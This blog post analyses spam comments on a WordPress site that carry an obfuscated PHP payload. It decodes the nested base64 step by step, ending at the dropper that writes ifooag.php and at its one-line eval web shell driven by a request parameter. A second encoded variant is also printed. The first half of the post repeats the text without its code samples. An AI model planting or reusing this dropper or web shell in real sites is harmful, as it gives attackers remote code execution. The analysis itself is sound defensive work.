WARNING: This entry contains some actual malicious code. I've HTML-escaped it so that it isn't going to get executed by you viewing it, but it was clearly intended to attack Wordpress blogs, so if you're going to mess around with analyzing, do it in a browser that's not logged in to any Wordpress blog.
So I was clearing spam queues this morning, and came across a bunch of spam with this string in it:
Or this clearly related one (note that the top of the string is the same):
As you can tell from the first sample, it's base64 encoded... something. b64 is pretty commonly used by attackers to obfuscate their code, so in case the spammy username and comment that went with the code wasn't enough to tell me that something bad was intended, the b64 encoding itself would have been a clue. If I didn't have the pretty huge hint of the base64_decode line, I might have been able to figure it out from the format and the fact that I know that b64 uses = as a padding (visible at the end of the second string).
Being a curious sort of person, I decoded the first string. In my case, I just opened up Python, and did this:
(Well, okay, I actually ran
So that still looks pretty obfuscated, and even more full of base64 (yo, I heard you like base64 so I put some base64 in your base64). But we've learned a new thing: the code is trying to open up a file in the wordpress cache called ifooag.php, under wp-content which is a directory wordpress needs to have write access to. I did a quick web search, and found a bunch of spam, so my bet is that they're opening a new file rather than modifying an existing one. And we can tell that they're trying to put some php into that file because of the <?php and ?> which are character sequences that tell the server to run some php code.
But that code? Still looks pretty much like gobbledegook.
If you know a bit about php, you'll know that it accepts c-style comments delineated by /* and */, so we can remove those from the php code to get something a bit easier to parse:
Feel like we're going in circles? Yup, that's another base64 encoded string. So let's take out the quotes and the concatenations to see what that is:
You might think we're getting close now, but here's what you get out of decoding that:
Yup, definitely going in circles. But at least we know what to do: get rid of the comments again.
Incidentally, I'm just using a simple regular expression to do this:
Here's what it looks like without the comments:
So let's stick together those concatenated strings again:
Okay, so now it's added some piece into some sort of wordpress file that is basically just waiting for some outside entity to provide code which will then be executed. That's actually pretty interesting: it's not fully executing the malicious payload now; it's waiting for an outside request. Is this to foil scanners that are wise to the type of things spammers add to blogs, or is this in preparation for a big attack that could be launched all at once once the machines are prepared?
It's going to go to be a request that starts like this http://EXAMPLE.COM/wp-content/cache/ifo oag.php?czlzyl=
Unfortunately, I don't have access to the logs for the particular site I saw this on, so my analysis stops here and I can't tell you exactly what it was going to try to execute, but I think it's pretty safe to say that it wouldn't have been good. I can tell you that there is no such file on the server in question and, indeed, the code doesn't seem to have been executed since it got caught in the spam queue and discarded by me.
But if you've ever had a site compromised and wondered how it might have been done, now you know a whole lot more about the way it could have happened. All I can really suggest is that spam blocking is important (these comments were caught by akismet) and that if you can turn off javascript while you're moderating comments, that might be the safest possible thing to do even though it makes using wordpress a little more kludgy and annoying. Thankfully it doesn't render it unusable!
Meanwhile, want to try your own hand at analyzing code? I only went through the full decoding for the first of the two strings I gave at the top of this post, but I imagine the second one is very similar to the first, so I leave it as an exercise to the reader. Happy hacking!
So I was clearing spam queues this morning, and came across a bunch of spam with this string in it:
eval(base64_decode(‘aWYoJGY9Zm9wZW4oJ3dw LWNvbnRlbnQvY2FjaGUvaWZvb2FnLnBocCcsJ3cn KSl7ZnB1dHMoJGYsJzw/cGhwIC8qTiVQYCUqL2V2 YWwvKklmXCcsLSovKC8qPjZgSGUqL2Jhc2U2NF9k ZWNvZGUvKkBNKTIqLygvKn46SDUqL1wnTHlwM1ky QTdjQ292YVdZdktuY2hibHNxTHlndktsNXpXeUZV Y25CUktpOXBjM05sZEM4cVVFZzBPWHhBS2k4b0x5 cDRZR3BXS1U0cUx5UmZVa1ZSVlVWVFZDOHFjaUI0 S2k5Ykx5b29mbEZ4S2k4bll5Y3ZLakUvUUdWMFd5 b3ZMaThcJy8qT3pNNTIwKi8uLyo5SissKi9cJ3FQ U3dwS2k4bmVpY3ZLblZVUVRrektpOHVMeXBEZTBj NlFEUmNLaThuYkNjdktqaDBJRzhxTHk0dkttMTVU VDA4UkdBcUx5ZDZKeThxZUdkbk1YWTJNU292TGk4 cVZuQkpaelFxTHlkNUp5OHFaWHhxZVVFcUx5NHZL aXgyS0NvdkoyXCcvKnlBdCYqLy4vKkA1RHcmXU4q L1wnd25MeXBHTFZGdlREUXFMMTB2S21KaGEwMHBL aTh2S2x3N2MyNHFMeWt2S2s1M1Mwa25YeW92THlw UFgyc3FMeWt2S2toQVlVczBWQ292WlhaaGJDOHFN azU4TWpBK0tpOG9MeXBWYzBodFdWMWxXaW92YzNS eWFYQnpiR0Z6YUdWekxcJy8qWWFiayovLi8qT35x cyovXCd5bzhTR2N6S2k4b0x5cFZRVXRoWmlvdkpG OVNSVkZWUlZOVUx5cFdMa3RVSUhzcUwxc3ZLa3N0 TG1NcUx5ZGpKeThxU0c5b0tpOHVMeXBZVGp0SEtp OG5laWN2S2pzbU15Z3lNV1FtWFNvdkxpOHFPMUJQ ZFNvdkoyd25MeXBaV1ZBelwnLyp7WUp9MSovLi8q disoLTtrKi9cJ2VuVXFMeTR2S2xWc2FWVXRLaThu ZW5sc0p5OHFSbFJaWERRcUwxMHZLazQvVW1JK0sy WXFMeThxU3l0TFF5b3ZLUzhxYkVCcUtpOHZLbUpZ UENvdktTOHFPbG8yVlVVb1NrSTRLaTh2S2tKWFp6 dEFTeW92T3k4cVJUc3JkaWRKS2k4PVwnLyooa0Nw QFk+Ki8pLypgYmMqLy8qSHZeISovKS8qV21GKi8v KlBfV2VgYD57Ki87LyotfGxURTEqLz8+Jyk7ZmNs b3NlKCRmKTt9′));
Or this clearly related one (note that the top of the string is the same):
aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUv aWZvb2FnLnBocCcsJ3cnKSl7ZnB1dHMoJGYsJzw/c GhwIC8qcGshV1UqL2V2YWwvKnpDRnI4ejQqLygvK i1mJWYmZyovYmFzZTY0X2RlY29kZS8qY2hIIG0qL ygvKnZXXnEqL1wnTHlvL05tcHlLaTlwWmk4cU9EN UpUM2NxTHlndktsdHZLU292YVhOelpYUXZLa2M2W TNRcUx5Z3ZLaUZQWERrcUx5UmZVa1ZSVlVWVFZDO HFjU3R5S1RGNklDb3ZXeThxV0RkblNDb3ZcJy8qd 0VEJSovLi8qWnA2OnIqL1wnSjJNbkx5b2hSU0VxT Hk0dktrZEVSU3RrS2k4bmVpY3ZLa2NyUUVZd09Db 3ZMaThxUFU5RUxqQTZUaW92SjJ3bkx5cDhkRE14U kNvdkxpOHFLVFIwT2xoc2MyZ3FMeWQ2ZVd3bkx5c FRcJy8qQ01MRzEqLy4vKmlUeVUwflAqL1wnVFZBd FFTb3ZYUzhxSnpaUFR5MHFMeThxVFZOYlpDb3ZLU zhxWEU1TU1Tb3ZMeXB1SjFzcUx5a3ZLaVZ5Y0N4a EtpOWxkbUZzTHlwTkxseHBLaThvTHlwdFVtNDFJS GxTS2k5emRISnBcJy8qXXgyZCovLi8qIG5SKi9cJ 2NITnNZWE5vWlhNdktrbytiRGhrS2k4b0x5bzFOa 3hZVTB0Z1RTb3ZKRjlTUlZGVlJWTlVMeXBPWGt0Y VF6d3FMMXN2S201TWNrWXpjeUFxTHlkakp5OHFiQ 3RLY2lvdkxpOHFUUzFuXCcvKmhccGhpKi8uLypjV z4qL1wnS2k4bmVpY3ZLaUZGTmlvdkxpOHFVeWRLU VNvdkoyd25MeXB1S1ZWQUxpb3ZMaThxYkZoV1BEO W9aU292SjNvbkx5cFZJRk1xTHk0dktqRkFlME1zS 2k4bmVTY3ZLajk4V3lvdkxpOHFcJy8qPE9rNXBmK i8uLyo0VlhFKi9cJ1VtODJVeW92SjJ3bkx5cFZUR m9xTDEwdktpWjNOQ292THlvL0xXWjVLaThwTHlvL 01URXFMeThxSjN4ZlFTb3ZLUzhxT2psSlRGSXFMe ThxYjBNeFFTY3JKU292T3k4cWVWbzVUeW92XCcvK iAzXCcqLykvKlpsWyUqLy8qLVRPJUdiNiovKS8qU yw3bjRTLCovLypCQ1sqLzsvKkxacHM8blNaKi8/P icpO2ZjbG9zZSgkZik7fQ==
As you can tell from the first sample, it's base64 encoded... something. b64 is pretty commonly used by attackers to obfuscate their code, so in case the spammy username and comment that went with the code wasn't enough to tell me that something bad was intended, the b64 encoding itself would have been a clue. If I didn't have the pretty huge hint of the base64_decode line, I might have been able to figure it out from the format and the fact that I know that b64 uses = as a padding (visible at the end of the second string).
Being a curious sort of person, I decoded the first string. In my case, I just opened up Python, and did this:
>>> import base64
>>> base64.b64decode(badstring1)
"if($f=fopen('wp-content/cache/ifooag.ph p','w')){fputs($f,'<?php /*N%P`%*/eval/*If\\',-*/(/*>6`He*/base64 _decode/*@M)2*/(/*~:H5*/\\'Lyp3Y2A7cCova WYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qU Eg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qc iB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\ '/*OzM520*/./*9J+,*/\\'qPSwpKi8neicvKnVU QTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4v Km15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJ ZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2\\'/*y At&*/./*@5Dw&]N*/\\'wnLypGLVFvTDQqL10vKm Jha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2 sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLy pVc0htWV1lWiovc3RyaXBzbGFzaGVzL\\'/*Yabk* /./*O~qs*/\\'yo8SGczKi8oLypVQUthZiovJF9S RVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8q SG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSov Li8qO1BPdSovJ2wnLypZWVAz\\'/*{YJ}1*/./*v+ (-;k*/\\'enUqLy4vKlVsaVUtKi8nenlsJy8qRlR ZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEB qKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZzt ASyovOy8qRTsrdidJKi8=\\'/*(kCp@Y>*/)/*`b c*//*Hv^!*/)/*WmF*//*P_We``>{*/;/*-|lTE1* /?>');fclose($f);}"
(Well, okay, I actually ran
cgi.escape(base64.b64decode(badstring1)) to get the version you're seeing in this blog post since I wanted to make sure none of that was executed in your browser, but that's not relevant to the code analysis, just useful if you're talking about code on the internet)So that still looks pretty obfuscated, and even more full of base64 (yo, I heard you like base64 so I put some base64 in your base64). But we've learned a new thing: the code is trying to open up a file in the wordpress cache called ifooag.php, under wp-content which is a directory wordpress needs to have write access to. I did a quick web search, and found a bunch of spam, so my bet is that they're opening a new file rather than modifying an existing one. And we can tell that they're trying to put some php into that file because of the <?php and ?> which are character sequences that tell the server to run some php code.
But that code? Still looks pretty much like gobbledegook.
If you know a bit about php, you'll know that it accepts c-style comments delineated by /* and */, so we can remove those from the php code to get something a bit easier to parse:
eval(base64_decode(\\'Lyp3Y2A7cCovaWYvKn chblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OX xAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki 9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\'.\\'q PSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8n bCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdn MXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4v Kix2KCovJ2\\'.\\'wnLypGLVFvTDQqL10vKmJha 00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqL ykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc 0htWV1lWiovc3RyaXBzbGFzaGVzL\\'.\\'yo8SG czKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIH sqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi 8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLy pZWVAz\\'.\\'enUqLy4vKlVsaVUtKi8nenlsJy8 qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8 qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJ XZztASyovOy8qRTsrdidJKi8=\\'));
Feel like we're going in circles? Yup, that's another base64 encoded string. So let's take out the quotes and the concatenations to see what that is:
Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBR Ki9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRf UkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/Q GV0WyovLi8qPSwpKi8neicvKnVUQTkzKi8uLypDe 0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqL yd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZ XxqeUEqLy4vKix2KCovJ2wnLypGLVFvTDQqL10vK mJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX 2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oL ypVc0htWV1lWiovc3RyaXBzbGFzaGVzLyo8SGczK i8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL 1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8ne icvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZW VAzenUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL 10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vK mJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovO y8qRTsrdidJKi8=
You might think we're getting close now, but here's what you get out of decoding that:
>>> base64.b64decode(badstring1a)
"/*wc`;p*/if/*w!n[*/(/*^s[!TrpQ*/isset/*P H49|@*/(/*x`jV)N*/$_REQUEST/*r x*/[/*(~Qq*/'c'/*1?@et[*/./*=,)*/'z'/*uT A93*/./*C{G:@4\\*/'l'/*8t o*/./*myM=<D`*/'z'/*xgg1v61*/./*VpIg4*/'y' /*e|jyA*/./*,v(*/'l'/*F-QoL4*/]/*bakM)*/ /*\\;sn*/)/*NwKI'_*//*O_k*/)/*H@aK4T*/ev al/*2N|20>*/(/*UsHmY]eZ*/stripslashes/*<H g3*/(/*UAKaf*/$_REQUEST/*V.KT {*/[/*K-.c*/'c'/*Hoh*/./*XN;G*/'z'/*;&3(2 1d&]*/./*;POu*/'l'/*YYP3zu*/./*UliU-*/'z yl'/*FTY\\4*/]/*N?Rb>+f*//*K+KC*/)/*l@j* //*bX<*/)/*:Z6UE(JB8*//*BWg;@K*/;/*E;+v'I* /"
Yup, definitely going in circles. But at least we know what to do: get rid of the comments again.
Incidentally, I'm just using a simple regular expression to do this:
s/\/\*[^*]*\*\///g. That's not robust against all possible nestings or whatnot, but it's good enough for simple analysis. I actually execute it in vim as :%s/\/\*[^*]*\*\///gc and then check each piece as I'm removing it.Here's what it looks like without the comments:
if(isset($_REQUEST['c'.'z'.'l'.'z'.'y'.'l' ]))eval(stripslashes($_REQUEST['c'.'z'.'l' .'zyl']));
So let's stick together those concatenated strings again:
if(isset($_REQUEST['czlzyl']))eval(strip slashes($_REQUEST['czlzyl']));
Okay, so now it's added some piece into some sort of wordpress file that is basically just waiting for some outside entity to provide code which will then be executed. That's actually pretty interesting: it's not fully executing the malicious payload now; it's waiting for an outside request. Is this to foil scanners that are wise to the type of things spammers add to blogs, or is this in preparation for a big attack that could be launched all at once once the machines are prepared?
It's going to go to be a request that starts like this http://EXAMPLE.COM/wp-content/cache/ifo
Unfortunately, I don't have access to the logs for the particular site I saw this on, so my analysis stops here and I can't tell you exactly what it was going to try to execute, but I think it's pretty safe to say that it wouldn't have been good. I can tell you that there is no such file on the server in question and, indeed, the code doesn't seem to have been executed since it got caught in the spam queue and discarded by me.
But if you've ever had a site compromised and wondered how it might have been done, now you know a whole lot more about the way it could have happened. All I can really suggest is that spam blocking is important (these comments were caught by akismet) and that if you can turn off javascript while you're moderating comments, that might be the safest possible thing to do even though it makes using wordpress a little more kludgy and annoying. Thankfully it doesn't render it unusable!
Meanwhile, want to try your own hand at analyzing code? I only went through the full decoding for the first of the two strings I gave at the top of this post, but I imagine the second one is very similar to the first, so I leave it as an exercise to the reader. Happy hacking!












